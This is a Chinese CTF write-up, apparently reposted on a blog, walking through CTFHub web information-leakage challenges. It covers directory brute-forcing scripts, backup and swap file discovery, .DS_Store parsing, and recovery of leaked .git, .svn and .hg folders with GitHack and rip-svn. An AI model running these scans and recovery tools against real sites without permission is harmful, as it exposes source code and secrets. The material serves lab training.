Ctfhub解题 web 信息泄露
介绍:记录解题过程
信息泄露
1.目录遍历
- 目录遍历.py
import requests
import time
url = "http://challenge-0d9d093975e23f01.sandbox.ctfhub.com:10080/flag_in_here/"
# url = input("请输入地址>>>")
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'
}
for i in range(5):
for j in range(5):
url_test = url + "/" + str(i) + "/" + str(j)
r = requests.get(url_test)
r.encoding = 'utf-8'
get_file = r.text
if "flag.txt" in get_file:
print("找到了,目标在这里:\n" + url_test)
flag_addr = url_test + "/flag.txt"
flag = requests.get(flag_addr)
print("flag为:\n", flag.text)
break
'''
else:
print("开始检索"+url_test)
time.sleep(1)
print("\n~aha,不在这儿")
'''
- 运动py得到
flag
:
找到了,目标在这里:
http://challenge-89eccdd3969375ea.sandbox.ctfhub.com:10080/flag_in_here//2/3
flag为:
ctfhub{c15e73f3ad6aaa1650d7341b}
2.PHPINFO
- 直接ctrl+f搜
flag
:
3.备份文件下载
<1>.网站源码
题目描述:当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。
备份文件下载 - 网站源码
可能有点用的提示
常见的网站源码备份文件后缀
tar
tar.gz
zip
rar
常见的网站源码备份文件名
web
website
backup
back
www
wwwroot
temp
- 网站源码.py
import requests
url1 = 'http://challenge-62b424e1437880a1.sandbox.ctfhub.com:10080' # url为被扫描地址,后不加‘/’
# 常见的网站源码备份文件名
list1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
# 常见的网站源码备份文件后缀
list2 = ['tar', 'tar.gz', 'zip', 'rar']
for i in list1:
for j in list2:
back = str(i) + '.' + str(j)
url = str(url1) + '/' + back
print(back + ' ', end='')
print(requests.get(url).status_code)
......
www.tar 404
www.tar.gz 503
www.zip 200
www.rar 503
......
- 访问…/www.zip下载zip,解压后目录
- 目录结构:
--www
|-- 50x.html
|-- flag_7916108.txt
|-- index.html
- 打开 flag_7916108.txt:
where is flag ??
- 访问 …/flag_7916108.txt得到flag:
ctfhub{62b9e8fefa116a651c5c81b6}
<2>.bak文件
题目描述:当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。
访问/index.php.bak
,下载文件得到flag
ctfhub{551df1d7e627467e4a9bac2f}
<3>.vim缓存
题目描述:当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露。
非正常关闭vim编辑器时会生成一个.swp文件
在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容。
以 index.php 为例:
第一次产生的交换文件名为 .index.php.swp
再次意外退出后,将会产生名为 .index.php.swo 的交换文件
第三次产生的交换文件则为 .index.php.swn
- 尝试访问至.index.php.swp下载文件,直接打开文件得到flag:
ctfhub{62ee08d6cc98074b58556a56}
<4> . .DS_Store
题目描述:.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。
- 用
curl
纺问/.DS_Store
:
curl http://challenge-12dcd1b537b8e0bd.sandbox.ctfhub.com:10080/.DS_Store --output -
......
$ f c 4 b d 6 8 7 f 8 0 5 8 7 e 2 a f 6 4 a c 4 e c 5 a 1 f 4 c 9 . t x tnoteustr
f l a g h e r e !
......
f c 4 b d 6 8 7 f 8 0 5 8 7 e 2 a f 6 4 a c 4 e c 5 a 1 f 4 c 9 . t x t
即fc4bd687f80587e2af64ac4ec5a1f4c9.txt
网站访问/fc4bd687f80587e2af64ac4ec5a1f4c9.txt得到flag:
ctfhub{41f340f514a596034c03aa67}
4.Git泄露
题目描述: 当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
<1>.Log
<1>. 直接用githack(改进版)扫描(注意用python2):
GitHack改进版(git源码泄露恢复工具)
- 命令:
python2 GitHack.py http://challenge-43806489f0fd2875.sandbox.ctfhub.com:10080/.git/
- 回显:
.........
[+] Clone Success. Dist File : F:\CTF\渗透工具\2020_2\GitHack\GitHack-master\dist\challenge-43806489f0fd2875.sandbox.ctfhub.com_10080
<2>.cd 进入保存结果的目录:
- 使用
git log
查看历史记录 - 命令:
git log
- 回显:
commit 75073d52a6b0713ac745419eab49605925a112c5 (HEAD -> master)
Author: CTFHub <sandbox@ctfhub.com>
Date: Sun Mar 14 00:19:28 2021 +0000
remove flag
commit 41339d772a43513106f7e0858c1acde291071b5c
Author: CTFHub <sandbox@ctfhub.com>
Date: Sun Mar 14 00:19:28 2021 +0000
add flag
commit 0d40302357a238ab7fa57bb06f7ba631c16eefd2
Author: CTFHub <sandbox@ctfhub.com>
Date: Sun Mar 14 00:19:28 2021 +0000
init
<3>.回溯
-
当前所处的版本为 remove flag,flag 在 add flag
这次提交中,与 add flag 这次提交进行比对即可查看flag -
git diff (add flag 对应的commit)
-
命令:
git diff 41339d772a43513106f7e0858c1acde291071b5c
- 回显得到flag:
......
+++ /dev/null
@@ -1 +0,0 @@
-ctfhub{4ea7cb15f928f7ec66d61684}
diff --git a/50x.html b/50x.html
......
<2>.Stash
<1>. 直接用githack(改进版)扫描(注意用python2):
python2 GitHack.py http://challenge-bdb9c9e977e46b7d.sandbox.ctfhub.com:10080/.git/
<2>.cd 进入保存结果的目录:
解法一:
<3>. 执行 git stash list 发现 stash
F:\CTF\渗透工具\2020_2\GitHack\GitHack-master\dist\challenge-bdb9c9e977e46b7d.sandbox.ctfhub.com_10080>git stash list
stash@{0}: WIP on master: e2c75a6 add flag
<4>. 执行 git stash pop 发现从 git 栈中弹出来一个包含flag的文件,打开文件得flag
ctfhub{e9c99d237d793e4546bea5e6}
解法二:
<*3>.直接打开 .git.refs/stash文件
358030721484b9dbe80943be9580e0f0d124beec
<*4>.在cmd然后执行git diff比较工作区和暂存区,得flag
git diff
<3>.Index
<1>. 直接用githack(原版!!!)扫描(注意用python2):
- 用githack(原版!)原版!原版!
python2 GitHack.py http://challenge-8fba09c6bc5cdb42.sandbox.ctfhub.com:10080/.git/
F:\CTF\渗透工具\2020_2\GitHack-master>python2 GitHack.py http://challenge-8fba09c6bc5cdb42.sandbox.ctfhub.com:10080/.git/
[+] Download and parse index file ...
50x.html
90912193824594.txt
index.html
[OK] 90912193824594.txt
[OK] 50x.html
[OK] index.html
<2>. 打开txt,flag直接就出来了
ctfhub{c751b4e03f8fd77cc79d5ade}
5.SVN泄露
题目描述 当开发人员使用 SVN 进行版本控制,对站点自动部署。如果配置不当,可能会将.svn文件夹直接部署到线上环境。这就引起了 SVN 泄露漏洞。
Perl rip-svn.pl -v -u http://challenge-d2aa53a83e022b37.sandbox.ctfhub.com:10080/.svn/
- List item
参考文章:
ctfhub之svn信息泄露
svn源码泄露漏洞(git同理
6.HG泄露
题目描述:当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。
<1>.访问.hg/store/fncache
下载fncache文件:
data/index.html.i
data/50x.html.i
data/flag_1692419547.txt.i
<2>.访问/flag_1692419547.txt
得到flag
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由半码博客整理,本文链接:https://www.bmabk.com/index.php/post/92715.html